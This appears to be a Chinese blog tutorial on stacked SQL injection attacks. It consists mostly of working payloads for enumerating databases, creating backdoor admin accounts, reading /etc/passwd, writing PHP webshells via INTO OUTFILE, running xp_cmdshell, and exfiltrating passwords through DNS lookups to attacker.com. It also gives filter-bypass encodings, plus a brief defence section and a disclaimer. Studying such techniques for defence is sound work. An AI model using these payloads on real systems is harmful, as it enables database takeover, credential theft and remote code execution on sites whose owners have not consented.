记一次堆叠注入拿shell的总结
字数 1416 2025-08-09 17:09:31
堆叠注入攻击技术详解与实战总结
一、堆叠注入基础概念
堆叠注入(Stacked Injection)是一种SQL注入技术,允许攻击者在一次数据库查询后执行额外的SQL语句。与普通SQL注入不同,堆叠注入可以执行多条SQL语句,极大地扩展了攻击面。
基本原理
- 利用数据库支持多语句执行的特性
- 通过分号(;)分隔多条SQL语句
- 第二条及后续语句由攻击者完全控制
支持堆叠注入的数据库
- MySQL (需特定配置)
- PostgreSQL
- Microsoft SQL Server
- Oracle (部分版本)
二、堆叠注入与普通注入的区别
| 特性 | 普通SQL注入 | 堆叠注入 |
|---|---|---|
| 执行语句数 | 单条 | 多条 |
| 攻击面 | 有限 | 广泛 |
| 利用难度 | 较低 | 中等 |
| 危害程度 | 取决于原查询 | 可完全控制数据库 |
三、堆叠注入实战步骤
1. 漏洞探测
- 尝试在输入中添加分号测试多语句执行
- 常用探测语句:
';select 1;-- - 观察响应差异或延时响应
2. 信息收集
'; show databases; --
'; show tables; --
'; select table_name from information_schema.tables where table_schema='目标数据库'; --
3. 权限提升
- 尝试创建高权限用户
'; CREATE USER 'attacker'@'%' IDENTIFIED BY 'password'; GRANT ALL PRIVILEGES ON *.* TO 'attacker'@'%'; --
4. 文件操作
读取文件
'; SELECT LOAD_FILE('/etc/passwd'); --
写入文件(获取Webshell)
'; SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'; --
5. DNS外带技术
- 当无法直接回显数据时使用
'; SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\share\\file')); --
四、防御措施
1. 代码层面
- 使用参数化查询(Prepared Statements)
- 严格过滤输入中的分号、注释符等特殊字符
- 实施最小权限原则
2. 数据库配置
- 禁用多语句执行功能
- 限制数据库用户权限
- 启用SQL注入防护规则
3. 系统层面
- 定期更新数据库和Web服务器
- 部署WAF(Web应用防火墙)
- 实施文件系统权限控制
五、高级技巧
1. 绕过过滤
- 使用注释分割:
'/*!*/;*/select 1;-- - 使用编码混淆:
';%53%45%4C%45%43%54%201;--(SELECT 1的URL编码)
2. 无回显利用
- 结合时间盲注:
'; SELECT IF(1=1,SLEEP(5),0); -- - 结合DNS外带:
'; DECLARE @data VARCHAR(1024);SELECT @data=(SELECT TOP 1 column_name FROM table_name);EXEC('master..xp_dirtree "\\'+@data+'.attacker.com\share"');--
3. 存储过程利用
'; EXEC xp_cmdshell 'whoami'; --
'; EXEC master..xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'; --
六、实战案例解析
案例1:通过堆叠注入获取Webshell
- 发现存在堆叠注入漏洞
- 确认Web根目录:
'; SELECT @@basedir; -- - 写入PHP Webshell:
'; SELECT '<?php @eval($_POST["cmd"]);?>' INTO OUTFILE '/var/www/html/images/shell.php'; --
- 通过中国菜刀或其他工具连接
案例2:权限提升与横向移动
- 通过注入创建新用户:
'; CREATE USER 'backdoor' IDENTIFIED BY 'P@ssw0rd'; GRANT ALL PRIVILEGES ON *.* TO 'backdoor'@'%'; FLUSH PRIVILEGES; --
- 远程连接数据库进行进一步渗透
- 利用数据库特权读取系统文件或执行系统命令
七、法律与道德声明
- 本技术文档仅供学习研究和防御使用
- 未经授权对任何系统进行测试或攻击均属违法行为
- 安全研究人员应在获得书面授权后进行测试
- 发现漏洞应及时报告相关厂商而非恶意利用
八、参考资料
- OWASP SQL Injection Prevention Cheat Sheet
- MySQL官方文档安全章节
- SQL注入高级技术研究论文
- 奇安信攻防社区相关技术文章
请始终牢记:技术是把双刃剑,应用之道在于保护而非破坏。